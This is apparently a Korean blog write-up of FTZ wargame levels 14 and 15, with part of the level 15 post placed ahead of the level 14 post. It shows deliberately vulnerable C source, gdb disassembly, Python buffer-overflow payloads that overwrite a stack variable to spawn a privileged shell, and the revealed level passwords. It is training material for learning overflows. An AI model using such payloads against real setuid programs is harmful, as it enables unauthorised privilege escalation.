위의 메모리 내용을 보니 0x80483b2에 0xdeadbeef가 존재함을 알 수 있다.

[level15@ftz tmp]$ (python -c 'print "A"*40+"\xb2\x84\x04\x08"';cat)|../attackme
my-pass

Level16 Password is "about to cause mass".

위의 명령어가 이해가 안되면 다음 글을 참고하길 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

 

728x90

'FTZ' 카테고리의 다른 글

level17  (0) 2023.01.19
level16  (0) 2023.01.19
level14  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
728x90
레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.
버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이
최고의 효과를 가져다줍니다.

#include <stdio.h>
#include <unistd.h>
 
main()
{ int crap;
  int check;
  char buf[20];
  fgets(buf,45,stdin);
  if (check==0xdeadbeef)
   {
     setreuid(3095,3095);
     system("/bin/sh");
   }
}
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:	push   ebp
0x080483b9 <main+1>:	mov    ebp,esp
0x080483bb <main+3>:	sub    esp,0x38
0x080483be <main+6>:	and    esp,0xfffffff0
0x080483c1 <main+9>:	mov    eax,0x0
0x080483c6 <main+14>:	sub    esp,eax
0x080483c8 <main+16>:	sub    esp,0x4
0x080483cb <main+19>:	push   ds:0x80495d0
0x080483d1 <main+25>:	push   0x2d
0x080483d3 <main+27>:	lea    eax,[ebp-56]  //buf 주솟값 ebp-56
0x080483d6 <main+30>:	push   eax
0x080483d7 <main+31>:	call   0x80482d8 <fgets>
0x080483dc <main+36>:	add    esp,0x10
0x080483df <main+39>:	cmp    DWORD PTR [ebp-16],0xdeadbeef  //check의 주솟값 ebp-16
0x080483e6 <main+46>:	jne    0x804840d <main+85>
0x080483e8 <main+48>:	sub    esp,0x8
0x080483eb <main+51>:	push   0xc17
0x080483f0 <main+56>:	push   0xc17
0x080483f5 <main+61>:	call   0x80482f8 <setreuid>
0x080483fa <main+66>:	add    esp,0x10
0x080483fd <main+69>:	sub    esp,0xc
0x08048400 <main+72>:	push   0x80484bc
0x08048405 <main+77>:	call   0x80482c8 <system>

buf가 ebp-56의 주솟값에서 시작된다. 그리고 ebp-16에 변수 check가 존재하는데 0xdeadbeef와 같으면 level15의 권한으로 /bin/sh을 실행할 수 있다. 그리고나서 my-pass를 입력한다면 level15의 비밀번호가 나타날 것이다.

[level14@ftz tmp]$ (python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|../attackme
my-pass

Level15 Password is "guess what".

명령어에 사용된 문법에 대해 좀 더 알고 싶다면 level11과 level12의 해설을 참고 바란다.

https://dbgdbg.tistory.com/entry/level11

 

level11

// attackme 소스 코드 #include #include int main( int argc, char *argv[] ) { char str[256]; setreuid( 3092, 3092 ); strcpy( str, argv[1] ); printf( str ); } [level11@ftz tmp]$ export sh=`python -c 'print "\x90"*30+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\

dbgdbg.tistory.com

https://dbgdbg.tistory.com/entry/level12

 

level12

#include #include #include int main( void ) { char str[256]; setreuid( 3093, 3093 ); printf( "문장을 입력하세요.\n" ); gets( str ); printf( "%s\n", str ); } [level12@ftz tmp]$ gdb attackme -q (gdb) set disassembly-flavor intel (gdb) disas main Dump

dbgdbg.tistory.com

728x90

'FTZ' 카테고리의 다른 글

level16  (0) 2023.01.19
level15  (0) 2023.01.19
level13  (0) 2023.01.19
level12  (0) 2023.01.19
level11  (0) 2023.01.09

+ Recent posts